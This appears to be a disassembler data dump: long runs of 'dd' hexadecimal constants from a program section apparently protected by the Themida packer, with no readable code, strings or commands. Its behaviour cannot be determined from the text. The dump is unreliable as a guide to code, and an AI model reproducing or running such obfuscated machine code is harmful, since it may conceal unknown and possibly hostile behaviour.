dd 86048B0Fh, 86388503h, 858905E7h, 5E7863Ch, 0CE8BF08Bh
dd 0BD81C18Bh, 5E78675h, 0C0300000h, 0D850Fh, 0E8C10000h
dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh
dd 0E78675BDh, 70C8305h, 7148B06h, 8124C28Bh, 0C18B813Ch
dd 57840Fh, 0BD810000h, 5E78675h, 0C0300000h, 0D850Fh
dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
dd 81000000h, 0E78675BDh, 30000005h, 0E840FC0h, 25000000h
dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 5E785E3h, 2D858589h
dd 858D05E2h, 5E78679h, 2FA18589h, 858D05E2h, 5E78640h
dd 2D3D8589h, 3CE905E2h, 1, 4Eh dup(0)
dd 83000000h, 0E217B5BDh, 840F0105h, 530h, 12E9h, 59B09900h
dd 7F148C04h, 0EF949A27h, 1996CB4Ah, 0C6F54A19h, 0E20A4985h
dd 13E94305h, 55000000h, 6E5AA921h, 4F4BC8BAh, 0AB454959h
dd 0EA0DB52Fh, 68E123h, 50ACD9A4h, 50525052h, 5A310F52h
dd 0F310F58h, 81h, 0F585A00h, 52506031h, 585A310Fh, 61D68B66h
dd 481585Ah, 0CC2CF524h, 0B70F603Fh, 14830FFEh, 0E8000000h
dd 0Eh, 82AE8DC6h, 5DBB311Eh, 0DDB787FFh, 6158F3D4h, 16A1B5FFh
dd 8DF505E2h, 0E57A6185h, 12E905h, 67240000h, 0B134B14Eh
dd 717BDC22h, 0D84ACAF6h, 9ABD49E1h, 92CFB960h, 800F45EEh
dd 2, 0FF61D9B4h, 7810FD0h, 60000000h, 8B666160h, 858961FEh
dd 5E20B7Dh, 0B8E0Fh, 6E90000h, 61000000h, 0B406796h, 4985C65Eh
dd 5005E20Ah, 0BB66FC60h, 6861F4FCh, 85E51932h, 9E95250h
dd 95000000h, 0C7198CD7h, 0FBDB3B86h, 800F310Fh, 14h, 0FE9h
dd 0F9935600h, 84235FCBh, 7B83D1E8h, 0DB8B2CCEh, 3481585Ah
dd 48B46424h, 5E92Dh, 0D990000h, 0FFBAC186h, 0E216A1B5h
dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 29DD2A6Dh, 60E6D3FDh, 61858D61h, 6A05E57Ah
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 0BCF0C352h, 58D0Fh, 80600000h, 0E96119CEh
dd 7, 3554C198h, 0FF662652h, 8589FCD0h, 5E218D5h, 0EE9h
dd 0A3374400h, 0F87342D2h, 0CE6FEF9Fh, 68A81B18h, 8B79A6FFh
dd 60605250h, 61F08B61h, 6660310Fh, 617FBEB8h, 481585Ah
dd 16013024h, 10E965h, 15AB0000h, 7D69B573h, 0E2F3B641h
dd 368F934Ch, 0B5FF57D2h, 5E216A1h, 61858DF8h, 0F905E57Ah
dd 0E960D0FFh, 0Eh, 0B2416102h, 367B4BB4h, 95AB3B36h, 8F0FB804h
dd 16h, 10E8h, 1D368000h, 0DC30D813h, 0DFE9A5E1h, 6CAAAD4Fh
dd 0E9615ECFh, 13h, 2D69855Ch, 2B776E2h, 4D287ABFh, 64971C38h
dd 89849999h, 0E20C1985h, 53006A05h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 5E6EB632h
dd 13840Fh, 0EE90000h, 45000000h, 0DC7A5BCBh, 0A9831F93h
dd 0D9397B64h, 4985C67Dh, 5005E20Ah, 0B70F5660h, 0BF665AD8h
dd 6861C02Eh, 4A458DBEh, 108A0Fh, 0E9600000h, 7, 37A02DE7h
dd 0B47F7EAFh, 48161A5h, 574E9824h, 16810F4Dh, 0E9000000h
dd 11h, 0A19DF547h, 0F49B7EB3h, 50146F55h, 9B735357h, 2DB5FFABh
dd 0F05E226h, 180h, 858DF800h, 5E239EDh, 0D0FFF9F5h, 3BC78160h
dd 0E8736B7Bh, 0Eh, 88C04C09h, 534190D6h, 0E58D8735h, 890FF655h
dd 0
dd 8589615Bh, 5E2086Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 0CEC35747h, 0B8A365C2h, 433DD254h, 14E9AFh
dd 71B60000h, 311A5BABh, 547F0BFFh, 273C141Bh, 0B600B4F1h
dd 840FA2ACh, 0Ah, 0F616060h, 8Fh, 0D5E96100h, 60000001h
dd 6660C28Bh, 0A2CEC381h, 11E8h, 0CDBA3500h, 0D4B823F3h
dd 0B706692Ch, 0F1A20792h, 615F8AA9h, 52509561h, 2820Fh
dd 61600000h, 840F310Fh, 6, 310F5250h, 585A585Ah, 13E86050h
dd 0E4000000h, 53170830h, 4365A233h, 0ECE49AD7h, 0DD7C1913h
dd 615B3F1Bh, 53006A95h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 520168FDh, 0A886A21Ah, 60EC8B9Bh
dd 0B880Fh, 5E80000h, 78000000h, 153688A0h, 3ABA665Bh
dd 0C4836136h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1C04h, 0C3514100h, 0E90A2D41h, 0D5AC1F96h
dd 0BF666038h, 0D68B9C64h, 1800F61h, 0F8000000h, 17820F60h
dd 60000000h, 0DE86160h, 0AD000000h, 0AEA15E2Dh, 0DDAE2E2Eh
dd 474BC085h, 0E8615Eh, 5A000000h, 8D84EA81h, 45C705E7h
dd 0FCh, 0B5BA8300h, 105E217h, 98840Fh, 6A520000h, 0FF0F6A00h
dd 0E20B7D92h, 82895A05h, 5E787F0h, 87F49A8Dh, 0C75205E7h
dd 12803h, 0FF505300h, 0E218D592h, 8D525A05h, 0E787F49Ah
dd 0B2FF5305h, 5E787F0h, 86D92FFh, 0B5A05E2h, 8D5074C0h
dd 0E787F49Ah, 247B8D05h, 0F981C933h, 104h, 8141D474h
dd 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h, 5E201BDh
dd 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 1BD828Dh, 0FF5005E2h
dd 0E20C1992h, 0C00B5A05h, 45C7A075h, 1FCh, 0C707EB00h
dd 0FC45h, 8B610000h, 0C2C9FC45h, 820F0008h, 6, 0C0B70F60h
dd 5E961F8h, 3000000h, 0B1277CFBh, 0FE9h, 2DE9B300h, 2F872762h
dd 0AE5DF8D1h, 434EE912h, 8D8DD28Bh, 5E78EDFh, 0BD19589h
dd 8D8905E2h, 5E20BE9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 44C35545h, 8BFA8B66h, 0E20A8985h, 6185C705h
dd 2C05E207h, 0F00006Ah, 85C7FFB7h, 5E21B55h, 0
dd 0CDB5FFF9h, 8905E22Ah, 0E210898Dh, 1595FF05h, 0F05E20Bh
dd 68Eh, 0D5BD8900h, 6A05E22Bh, 0B995FF00h
db 0Ah, 0E2h
word_546B96 dw 8B05h ; DATA XREF: Themida_:004EED40o
dd 6F59EBC0h, 7595E2B2h, 0D45BCD92h, 0A059C4A1h, 50ED45A3h
dd 1672C096h, 0A62D65ECh, 0FCC9CF3Dh, 37AB0DDCh, 9A535050h
dd 6936C468h, 0F57A2AB8h, 0E733E652h, 0AB373C84h, 0B6E1EFB1h
dd 513E71D3h, 8ABD06Fh, 0E4465F08h, 6396C5C8h, 0A45CCF0Ah
dd 0DA05D6A7h, 418ACC01h, 69097C85h, 9E8h, 0ED0A4900h
dd 4CDE608Fh, 0BD8BFDAFh, 5E210E9h, 89C18159h, 80000071h
dd 0BEAFC0h, 89000000h, 0E20941B5h, 31148B05h, 0C281D7B0h
dd 2D7B9609h, 2B01BD89h, 0C28105E2h, 1277F347h, 10E9h
dd 46D1B500h, 31773376h, 0CED9D8D2h, 4E366322h, 48C28192h
dd 0B3606CE6h, 0FA8B52B7h, 0E931048Fh, 9, 0B112C6E4h, 0E6E27DD0h
dd 90DF8143h, 8163ECD0h, 7DB57CEEh, 3DBD2976h, 8105E226h
dd 7DB578C6h, 2F78B876h, 0FE8114EAh, 0FFFF8F10h, 0FF8F850Fh
dd 8E0FFFFFh, 2, 8EB13B7h, 64DFE1C2h, 77E7339Ch, 0E2FE9h
dd 918E6800h, 1CE905E7h, 68FFFAF0h, 5E792AFh, 0FAF012E9h
dd 945168FFh, 8E905E7h, 68FFFAF0h, 5E795BAh, 0FAEFFEE9h
dd 975A68FFh, 0F4E905E7h, 68FFFAEFh, 5E799C6h, 0FAEFEAE9h
dd 9B3C68FFh, 0E0E905E7h, 68FFFAEFh, 5E79C63h, 0FAEFD6E9h
dd 0E2A650FFh, 555185E4h, 0BC00F849h, 0E6A45316h, 4E5489F8h
dd 734C2B40h, 0AB9E048Ah, 5646230h, 7ACFCBD7h, 0D3933F7Dh
dd 2944F552h, 909DF9FFh, 23696E2Ah, 5A6099D8h, 0DD9C0DBCh
dd 0B4350681h, 32807BAEh, 9FB3D0A9h, 0E56B4FE8h, 0D5A201FAh
dd 0FA5ACFB6h, 1E336D3Ah, 4EDDDB1Ah, 0AEF7D00Dh, 0F9FA6C91h
dd 39704482h, 3FE6E4E4h, 274Bh, 7B187F00h, 0C777D057h
dd 1E01FAD1h, 0C07DDA21h, 0D3F9FAA1h, 0A4EA1352h, 8BB31441h
dd 2B9974BBh, 0FA363FE6h, 8000000h, 0D823696Eh, 2B5E6499h
dd 0B94E0FA8h, 0A887FC18h, 0AC3D8179h, 13995E81h, 0A904988h
dd 0BE575B8Ch, 62E5FC18h, 18BC94C5h, 0D5F64DFCh, 382F6D6Ah
dd 0BB01F6B9h, 0E152EB60h, 30FC18BCh, 0C5A4627Bh, 0BA779614h
dd 298EB195h, 1FAEFF1h, 0ABF5B10h, 0AEAF088Bh, 67F9FA8Fh
dd 8F3E3F08h, 98D7F9FAh, 0C5E9764Fh, 5B80C342h, 24853655h
dd 1F5AACDBh, 0E11B5A04h, 0D2074EDDh, 0CF04B1D4h, 0ACD3A8FEh
dd 45A0EEEDh, 6125D110h, 1756D958h, 5C03A4E2h, 2F6E119Fh
dd 0CFDBECAAh, 75FBFBBAh, 0DE5063D4h, 88C5B2F7h, 4E89F87Dh
dd 0BF07F48h, 35FB7885h, 9BEEFE7Dh, 0BF6B8h, 0B2F6E000h
dd 0E5A15514h, 4C5088F9h, 0B6F4E346h, 1EA45928h, 39C7BF0h
dd 7BCED4DAh, 0D5943280h, 0A7F9B27h, 3C3CFCDh, 281445E2h
dd 40CDF9FFh, 276D6E9Ah, 5711C6BBh, 710FFC40h, 39A5123Eh
dd 577B1833h, 0F96991D0h, 0FBC18B5Eh, 0F42B60B7h, 0EB60BB01h
dd 480AAFD2h, 9B01FAFDh, 43F059ACh, 50F9FAFDh, 36EB1E16h
dd 953FE657h, 0FFh, 23696EA9h, 946499D8h, 18B90233h, 0C8CC08FCh
dd 2564F542h, 0D482CEBEh, 2E51B4E1h, 553ED2B9h, 8D15C42h
dd 1879E3AFh, 298E31FCh, 0FC187528h, 363982F9h, 8105F1C1h
dd 1E84F17Ah, 8ECF68EBh, 47FC1875h, 0BB86D434h, 0CD3AAE41h
dd 68475FCh, 2B050AE7h, 9998E3AFh, 18FC3F30h, 2C99D6FCh
dd 41BEFCFDh, 0AF2179DEh, 374001FAh, 0EFB228Ch, 0F156C946h
dd 0F9FA1440h, 0FA6DDA91h, 0FEC2387Bh, 0FA14EC6Dh, 7D4E25F9h
dd 8DA1AEA9h, 9220DB9Ah, 0D561C649h, 0D7041FC4h, 825B6194h
dd 79382F04h, 0D1903E84h, 1419662Ch, 97FE7CC2h, 0AD593F2h
dd 17C10000h, 0C2327793h, 7169D8C6h, 15C0A12Dh, 0C5360B97h
dd 0BDA4D3FFh, 29B5FBE0h, 0F713A158h, 5E4448B2h, 22A8EEEBh
dd 0F566C322h, 2CF9FF2Bh, 6D6EA561h, 11C6BB27h, 358D5581h
dd 0A58C0ED0h, 5EC13E6Bh, 35F97ADFh, 5328FC18h, 6ED69C8Ah
dd 59D82369h, 66D9DF16h, 0D29D2E72h, 707B6725h, 948FFD3h
dd 0B2FDCED4h, 0FABA5115h, 0A8F34801h, 0FAB9B3CFh, 4E26A0F9h
dd 0E60F06DBh, 717A53Fh, 0AE990000h, 45A0EEEFh, 51FEB710h
dd 3D6DCA7Dh, 5401FADFh, 2858C1Fh, 0FA9FB4A5h, 0B5166DF9h
dd 0FA9FD76Ch, 0B282C4F9h, 0E635A27Fh, 6E7093Fh, 183D0000h
dd 77D0577Bh, 1FAD3FFh, 0D38D4A0Dh, 6EC7A690h, 13B4E179h
dd 7B49B2F7h, 2F7EAB20h, 0F5B12564h, 3F68BD4h, 16C4F9FAh
dd 5F0738Ah, 6CCE6487h, 41C02098h, 10F62FC8h, 0C6398476h
dd 0FB708B11h, 58C78E2h, 3FE6ACC8h, 0EAB62265h, 0E0A45093h
dd 8EED12ABh, 0D1000006h, 0AAEEEFAEh, 0DE1F6E2Ah, 785861h
dd 7A36A1E0h, 0E5C63381h, 0B029070Ch, 0ED5A93EAh, 0C359DD7Ah
dd 0B1F001FAh, 0D4144145h, 0D345D255h, 1C5E5C73h, 0AE4F0059h
dd 6386F9FAh, 0FAAE95C6h, 0BAF74CF9h, 0F4B2D821h, 5BF88DCFh
dd 0F57F077h, 6900D9Eh, 78E5D229h, 0EA74D554h, 3E962394h
dd 18591ABFh, 0B98861A3h, 0BC0D7A40h, 81B8CD6Eh, 0A4833383h
dd 3679F86Fh, 4F1024C4h, 8FAD1467h, 3982CB52h, 0DFFBC136h
dd 0ACF2EBAAh, 0E5A3541Bh, 88AB8F98h, 0BC87E26Ch, 933h
dd 0D1FDB93Fh, 0BA206490h, 38F13C7h, 0D5F1B73Eh, 0BD596794h
dd 9D5E5F06h, 43B68B17h, 0EA10517Dh, 904938A6h, 0A1C08C0Ah
dd 0FF2D5718h, 47878EF9h, 0D823696Eh, 0C071D659h, 11FC18B9h
dd 0D182275Ah, 0FC18B9h, 0B4D9922Bh, 26489190h, 0F9020049h
dd 7EC30482h, 46F9FF29h, 914A0D74h, 42B7BA03h, 5882C544h
dd 85843154h, 0FF283324h, 3495E2F9h, 0CAFA6556h, 0F455D457h
dd 0F9FF2843h, 5559069Fh, 262C1557h, 2E177049h, 0E7F9FFB7h
dd 5F27D88h, 0A7E61B87h, 0DB106B2Fh, 0B7B4B902h, 5486F9FFh
dd 0D2159342h, 0D4016428h, 2DA9E89Fh, 0D91269h, 0F4B2271Ah
dd 0A7BBC891h, 66E0F9FFh, 7B77E08Eh, 0BBD588A6h, 0A92E11AAh
dd 5582E7E3h, 0D66B3457h, 0E4F9FEBCh, 125DA8F4h, 7646A5E3h
dd 2ABC04F0h, 67265420h, 0F5B32276h, 9DE82596h, 17C08F58h
dd 27AFEE91h, 1D4C5A63h, 136h, 23696E21h, 71D659D8h, 0FC18B9C0h
dd 0DE815A11h, 0AE91901Ch, 5EEA6329h, 0ED062136h, 200914B5h
dd 0FC18BF2Fh, 6322BC3Dh, 6BFB08C0h, 0CA515F9Ah, 8C1F5481h
dd 9612C285h, 0CE5C677h, 2EA6E907h, 81DA136Ah, 0FC18CCD0h
dd 26291D0Ch, 0FF9B9EACh, 73D44B80h, 2001BE3h, 0EC4F9932h
dd 0C6623910h, 900D6C89h, 0D18045Ch, 7CA22h, 6622D400h
dd 0C9CD0978h, 307C7CCDh, 9A20D7AAh, 0C2D00D7Ch, 0F7C8AFC4h
dd 2F12B806h, 89F8E6ACh, 0FE434F53h, 2F17B3F9h, 2CC071D6h
dd 6C11F9FFh, 23696EAEh, 546499D8h, 0C788D1A1h, 1EFC18B9h
dd 2491F421h, 5C9EE3EFh, 2F74A50h, 1441478Eh, 7C42BB8Eh
dd 0D4BE5CCDh, 0E4E99A5h, 6CBDBE1Bh, 1F54FC18h, 0BF3CA7CEh
dd 0DE18AAF1h, 576398E6h, 0C788D19Fh, 1EFC186Ch, 2491F421h
dd 68A5E3EFh, 0C73A04E8h, 7, 0AF8EFBh, 6EB40000h, 7FD82369h
dd 0FC18C9C2h, 0B3FD6A97h, 859AEC5Eh, 0D2A2AC3Dh, 32357364h
dd 152516B3h, 87FCFC18h, 1C052F96h, 5F68F7ABh, 0B804F64Bh
dd 456E046Dh, 0E543FC18h, 6B37A511h, 0EFAE616Fh, 0A8B47AECh
dd 6614CDF7h, 4099D229h, 0B4D7DB01h, 4D4B8ACDh, 8B4ABD3Eh
dd 47B5BC0Dh, 5785C47Bh, 0DFE5144Bh, 6DCF670Eh, 0CD6AED99h
dd 0FC18768Ch, 2D1D3245h, 6092D772h, 2DAF922Bh, 1D69FE61h
dd 0AF8D6EDEh, 70F19536h, 3BE768F1h, 413EFC18h, 43581F78h
dd 0C62CFC18h, 3A04990Ch
dd 7B3E28A1h, 5494AFCDh, 0FE5F0E73h, 8E30FFFFh, 351h, 23696EB4h
dd 0B9F27FD8h, 0B8A2FC18h, 0FDFFBECCh, 2D783EBBh, 0E76A73A8h
dd 9B2EB4F2h, 609422D8h, 5F9CEF24h, 9016C38Eh, 0B9272C75h
dd 0C435FC18h, 0B9AAAB0Ch, 0C7BFC18h, 6ED150D7h, 92DB2266h
dd 18B988C9h, 0D9E259FCh, 0F4D845B2h, 0FBC93275h, 781ABFE2h
dd 0AB020049h, 8F7C57DCh, 0BACF045Ch, 62ADBh, 0C6C23400h
dd 296D69D8h, 901CDCADh, 0FAC0370Ah, 22706DDCh, 57680FA4h
dd 8FF218A6h, 0E958464Ch, 5E23AFF3h, 0CFF71399h, 2E2011B6h
dd 8CF1F9FFh, 0FF696E4Eh, 53E206B5h, 7C8FC4E9h, 1CBA08F5h
dd 622EAAEDh, 0D1E11659h, 0E1B6228h, 545F48E4h, 3562DF9Dh
dd 9D23D8A9h, 8816C70Eh, 8F67C17Dh, 0EEF4BA23h, 4A36DA0h
dd 5C81C03Ah, 67C8E48Ah, 60DD91E2h, 273DA47h, 0AEEC0000h
dd 1BACEAEFh, 0FC0F3F22h, 7B88893h, 8D79FFFBh, 0F30EC71Ah
dd 2576438h, 185E0000h, 75D25579h, 0FC18B9C4h, 7AC7261Dh
dd 0FB07B8D3h, 88B68EC8h, 8FBCD01Fh, 0D7F0B50Fh, 0F23B7E53h
dd 0BAC2F38h, 2F69D4Ah, 7D7DAC9Bh, 5861EA31h, 220DBh, 7918EF00h
dd 0D91D9B5Fh, 342B60DDh, 18B9A693h, 0E2F364FCh, 1691A969h
dd 32099D2Eh, 0F0E9A8EBh, 0C11A53AAh, 773DD78h, 0B88CCAFBh
dd 0F3D99C71h, 1EB3338h, 0D8C0000h, 0F77BABACh, 0CF077A02h
dd 4EEB9ECBh, 2F77B0Dh, 685E6FC4h, 0D2557918h, 18B9CC75h
dd 975F1EFCh, 7A438813h, 3B3C9D2Ch, 0EAFC18B9h, 5AC5209Dh
dd 9A65A1CDh, 79426CC9h, 77D7510h, 10E462FBh, 0F16CF562h
dd 0CE79327h, 19528FBBh, 96F938F3h, 0CD000001h, 0B2FF39AEh
dd 38AB9320h, 7B37A0AFh, 63E8337Fh, 6B6CD736h, 0A9B6A12Dh
dd 51258285h, 4801FA9Eh, 0A6E9A8F3h, 6FDBB434h, 7419DFB4h
dd 5E6FEC3Fh, 0FA7378F5h, 19ED6BF9h, 0E6D93B96h, 28D3923Fh
dd 0DA216790h, 1E832491h, 37h, 95020E9Bh, 517F92BDh, 7B18B288h
dd 0EE51D057h, 1546A5EBh, 0D1EB6BB4h, 913A01FAh, 4EC76594h
dd 0B1D401A8h, 0FAF25BE8h, 360E48F9h, 0E65E1EF3h, 0DC8D3Fh
dd 6EB10000h, 47CCFF69h, 2BD7504Bh, 0B724AFFEh, 0A65392E9h
dd 9D5A85E0h, 0CF4EF31Fh, 18E3E96Ah, 230135FCh, 0CCB02B0Ah
dd 77D0E946h, 0FC18CD8Bh, 2AD0E019h, 99D60766h, 0B52467E6h
dd 0E5F9CEFh, 0FC18C14Dh, 81EAF84h, 0B324C24Fh, 3254A0BFh
dd 0F364C58Fh, 22FC18EBh, 0D9E71255h, 0ADDC0942h, 0FD3BE80Ch
dd 0D9482701h, 0DAE01756h, 0DD9D5E01h, 0FDBBFB7Ch, 0E05D2AF9h
dd 0D70447FAh, 738A18C3h, 0A05A8DFAh, 5784CB1Ch, 1D012C49h
dd 1174045Fh, 3BE4Eh, 6A2EA800h, 0DDD91D6Ch, 4887031h
dd 6E2CAB9Eh, 0D6DC0160h, 0CBD4B3C8h, 23068C12h, 9DECEAB8h
dd 0F2B7535Fh, 5B1B8705h, 20CC8D2Ah, 1805F9FFh, 276D6ED2h
dd 8B11C6BBh, 0D4FB0394h, 8E64C1B0h, 0AA0A918Dh, 0D9C502h
dd 696E5C1Ah, 6099D823h, 172BBC5Ah, 53FC18B9h, 0E4671ACEh
dd 2EB36973h, 4A502FEh, 0FAF787BBh, 0DE1B6E01h, 0D3084DD8h
dd 0CB8C2DACh, 1AF9FAF7h, 9DE8B627h, 0CCDAE358h, 0FF696E06h
dd 3E602C33h, 1668E123h, 2CF87511h, 0C80B92CFh, 4B57830Fh
dd 5AC7F01Eh, 44B0F376h, 0D00D8B4Ah, 4D470851h, 0A19EFC18h
dd 5A309918h, 0BD01FA2Ch, 3DD643C6h, 63670AD9h, 0B39CA700h
dd 0F9FB07BEh, 2CADECADh, 0FCC23B6Eh, 0D39B2CA9h, 0CD71ACE3h
dd 2BDE3FE7h, 0E0000000h, 995D7B18h, 8CCD6A1Dh, 45FC18B9h
dd 298EB1EEh, 1FAD129h, 1F7883F8h, 0F9FAA162h, 88FFF771h
dd 3FE62B55h, 0E0FAh, 696ECC00h, 0D659D823h, 0CC5F6397h
dd 0B9BDBE8Fh, 1F54FC18h, 545A83CEh, 43498E31h, 7A40B938h
dd 0E8D452C7h, 91B5DE87h, 5095248h, 97FC18D5h, 0CBBE2462h
dd 0D699880Eh, 3A419A1Eh, 0FD6C40CDh, 0FAB84A5Ch, 8EE501h
dd 63E6CA57h, 1FE148C6h, 9594E304h, 0E4AA5312h, 0CC735481h
dd 0DF9E810Fh, 5248911Dh, 5BA0EEEFh, 0FE7CDE64h, 48036207h
dd 52000002h, 87FAE0A4h, 0FA4F4B4Fh, 5514B2FEh, 8BFEE4A2h
dd 29464C52h, 3A88754Ah, 602EAD9Ch, 0C9D5077Ah, 3D7B7CCDh
dd 0F354AD91h, 0F9FF2242h, 6E289293h, 0E1AD2D6Dh, 7F2B5B4h
dd 9DD990B9h, 9893DF7Ah, 67265B4Fh, 1859FE72h, 0C9FC18E4h
dd 0BDA40572h, 0D1507E3Ch, 0E44809AEh, 2582FC18h, 0FC18E434h
dd 0B38896EDh, 0EE92799Ah, 5D6E93C5h, 0E7EFAE69h, 306D31A9h
dd 6E4760D5h, 0FD5ACDE1h, 1FAD17Dh, 3B510394h, 6608DE6h
dd 58D5B2C9h, 6AF9FA28h, 9BDA216Fh, 0B5C95C62h, 0ABFD4333h
dd 0FBD6592Dh, 523FE6A4h, 0DF0154C5h, 1514B48Bh, 0FA8483B4h
dd 0C4E552F9h, 0C55Fh, 844FD800h, 0ADF333E2h, 6E876344h
dd 99D82369h, 682B5E64h, 0F590296Fh, 18BEE6ACh, 8705F2FCh
dd 0EBB1261Bh, 0E354F574h, 32FC18BCh, 0E0D96445h, 59D84F63h
dd 6BC1CCC0h, 0DCED5E4Ah, 0FA549373h, 777FC201h, 87FCC239h
dd 868B4C4Ah, 671ABFA2h, 8E041FC8h, 2D783EBBh, 8DCC73A8h
dd 0E5444250h, 844DAAF8h, 7FE7CCCh, 1210362h, 0CB0D0000h
dd 767EC3CFh, 25D59432h, 0C90C7D99h, 7962C7C3h, 7110AF2Bh
dd 0E5E1AF2Ch, 434F5584h, 2AB0FCFEh, 0FEE4A257h, 292A8FF6h
dd 0F8F9FF25h, 0EFAE71B5h, 1358A3E7h, 0B98ACB6Ch, 0EC5BFC18h
dd 596794DBh, 8D0BCCBDh, 0ED250D9Ah, 20305F1Eh, 3F7E8387h
dd 2697F6BCh, 2FAEA185h, 18B9C98Ah, 40E918FCh, 0FC18B90Fh
dd 0AB3C69C6h, 167533A4h, 0A4BEC6Fh, 0DBFC18B9h, 0F2C03D6Ch
dd 0D69922ABh, 47085121h, 45FC18B9h, 360D0995h, 751ADDF9h
dd 3AAF2E51h, 3730426Bh, 5AA304DFh, 2000D44h, 0CA7590EFh
dd 0C800530Dh, 6E5A9557h, 0ADF8BE3Bh, 52D7F328h, 29CF7EC5h
dd 0C6E78F48h, 0CD585E9Bh, 0B69A2364h, 52C74A58h, 8F3D761Ah
dd 0CB7354EEh, 0C90C4FFBh, 8277FAC3h, 99420504h, 95D4B20Bh
dd 9CC72664h, 0EEC85359h, 63E29064h, 38BA95C6h, 0FA2B4C9Bh
dd 95530172h, 77FAC338h, 0AB9E0482h, 76F9682Eh, 38E560D1h
dd 0E1FAB19Bh, 0F4EDB5Ah, 68902CAAh, 84F922Bh, 0CC000000h
dd 67404E8Dh, 6E9DA783h, 96D92C68h, 81C05B61h, 8D34575Bh
dd 0BA25404Eh, 0A9287341h, 0D41F6E34h, 0C1009B21h, 0CF769519h
dd 0F2788307h, 8904EC83h, 0E2892414h, 4C281h, 0EA830000h
dd 24148704h, 6EF6685Ch, 0C890000h, 3E116824h, 3C890000h
dd 0D6685224h, 5A697168h, 762768B9h, 5AD1019Ch, 243C8B54h
dd 6804C483h, 5DA3h, 8F240C89h, 3C8B0847h, 0E1895124h
dd 4C181h, 0C1810000h, 4, 5C240C87h, 592434FFh, 4C481h
dd 0E90000h, 90FFFAE2h, 0D6A24A54h, 6CE3AACAh, 0E79DA9B8h
dd 0FFC50305h, 6A7DCDE0h, 114CCC12h, 0DF0B166Bh, 0A62D965Eh
dd 2B85BE4Eh, 88CC7F64h, 6FF7A12Eh, 46017D16h, 34D94932h
dd 1A750129h, 0A7BD2121h, 4619D1Ch, 0DDC53559h, 0D799211Eh
dd 8E75897Dh, 0DD62562Bh, 176B1070h, 0D771E7Eh, 0B464B744h
dd 0FCE41A2Ah, 68521556h, 98540C37h, 0CC588507h, 0DCF15966h
dd 0D0A3073Fh, 0C55DB347h, 51F68435h, 0E6BDF859h, 0FE831h
dd 209D0000h, 6E2100F5h, 97D27697h, 0CE0DD1CAh, 5F77B6CEh
dd 7ABE6653h, 0C7815E87h, 5DC5h, 0EA81C02Bh, 39DABC0Fh
dd 663834FFh, 8159DA8Bh, 2A82B5F1h, 0DAE98119h, 0E83C41E2h
dd 0Bh, 16A50C35h, 65967F3Dh
dd 81F1E93Fh, 7AF1F0C2h, 0E9815E06h, 2F3556D1h, 51D9B70Fh
dd 21BF6660h, 0CCD981A5h, 61202BB8h, 6607048Fh, 0DAC3E681h
dd 6004E883h, 0D281F08Ah, 7E2D8B2Dh, 0C0F88161h, 0FFFFFA2h
dd 0FFFF9F85h, 0EBA9B3FFh, 2Dh, 0AE0DD000h, 0F2319CBFh
dd 0A5ADF9DFh, 528C88A7h, 0B7FB75h, 0ADF99CBEh, 89937EE5h
dd 8168009Dh, 0BD146726h, 42F503B2h, 0E9E94A1Ah, 6800000Ah
dd 5E7A093h, 0FAE0B2E9h, 0A20368FFh, 0A8E905E7h, 68FFFAE0h
dd 5E7A2F1h, 0FAE09EE9h, 0A3AB68FFh, 94E905E7h, 68FFFAE0h
dd 5E7A457h, 0FAE08AE9h, 0A51468FFh, 80E905E7h, 68FFFAE0h
dd 5E7A5B0h, 0FAE076E9h, 0A7AA68FFh, 6CE905E7h, 68FFFAE0h
dd 5E7A8C3h, 0FAE062E9h, 9E1ADCFFh, 0C1C53170h, 287464C5h
dd 9218DFA2h, 0FAC83574h, 0FFC0A7DCh, 572AB0FEh, 0B1F01EA4h
dd 0E65B474Bh, 272FABF1h, 26F879DEh, 6429F9FFh, 577B18A6h
dd 45EA47D0h, 0E4FE67B9h, 0B9FB5CC3h, 0D402007Bh, 0C05B6795h
dd 233948Bh, 0D3F9FF7Bh, 79382F64h, 6D9C3A80h, 9AE1AF2Ah
dd 9E0B3851h, 4AB0CD1Ch, 8309CE71h, 0AE828F78h, 0B9FFF8BBh
dd 0FF7EE120h, 0FF3A195Ah, 6A73C8F9h, 0E7DBB601h, 47B5F407h
dd 35A1207Bh, 67A30471h, 17961908h, 0D79B81B2h, 0C21B50F7h
dd 31965A9Fh, 0F7D79B00h, 596A02DCh, 0D5718EBAh, 0C4A5219Eh
dd 0D3929513h, 0CA039A28h, 815A6097h, 2C000DFAh, 765E9C3Dh
dd 6BEA0A35h, 0A9798DCEh, 79FA5FEDh, 0A8EDA979h, 0EFF8B7D3h
dd 0CEA7CCBBh, 91F8926Eh, 900ADF4h, 0FBFD0000h, 0A62E13BFh
dd 5585E4E2h, 0F9FC4D49h, 0A95217B3h, 0A140FF1Bh, 35D1DF1Ch
dd 933F8574h, 7A602CAEh, 0CED4D207h, 195AFF06h, 0C8F9FF19h
dd 696E8145h, 6099D823h, 0A821FB86h, 4C884C2Dh, 43B83D48h
dd 42CF8816h, 785EFB6Eh, 9301FA4Fh, 9FDE41A4h, 0EF3A5357h
dd 6BD7B4B3h, 7DF25B6Ch, 6EF9FA01h, 2D6B6C2Fh, 24C9DDEh
dd 95450432h, 0B1420009h, 0B9A83271h, 5AC71A20h, 38643FE6h
dd 5E000000h, 9F5D7B18h, 16438813h, 2E0E8613h, 426DCD19h
dd 0A1913679h, 7001FAA5h, 0EA87E03Bh, 0F9F9FA35h, 0CD00877Fh
dd 603FE69Fh, 391758E1h, 71CEF9FAh, 0FF2B68h, 6E1F0000h
dd 0BD3C2369h, 18B95B1Ch, 0E1A551FCh, 96BD0E65h, 8D2AAE2Fh
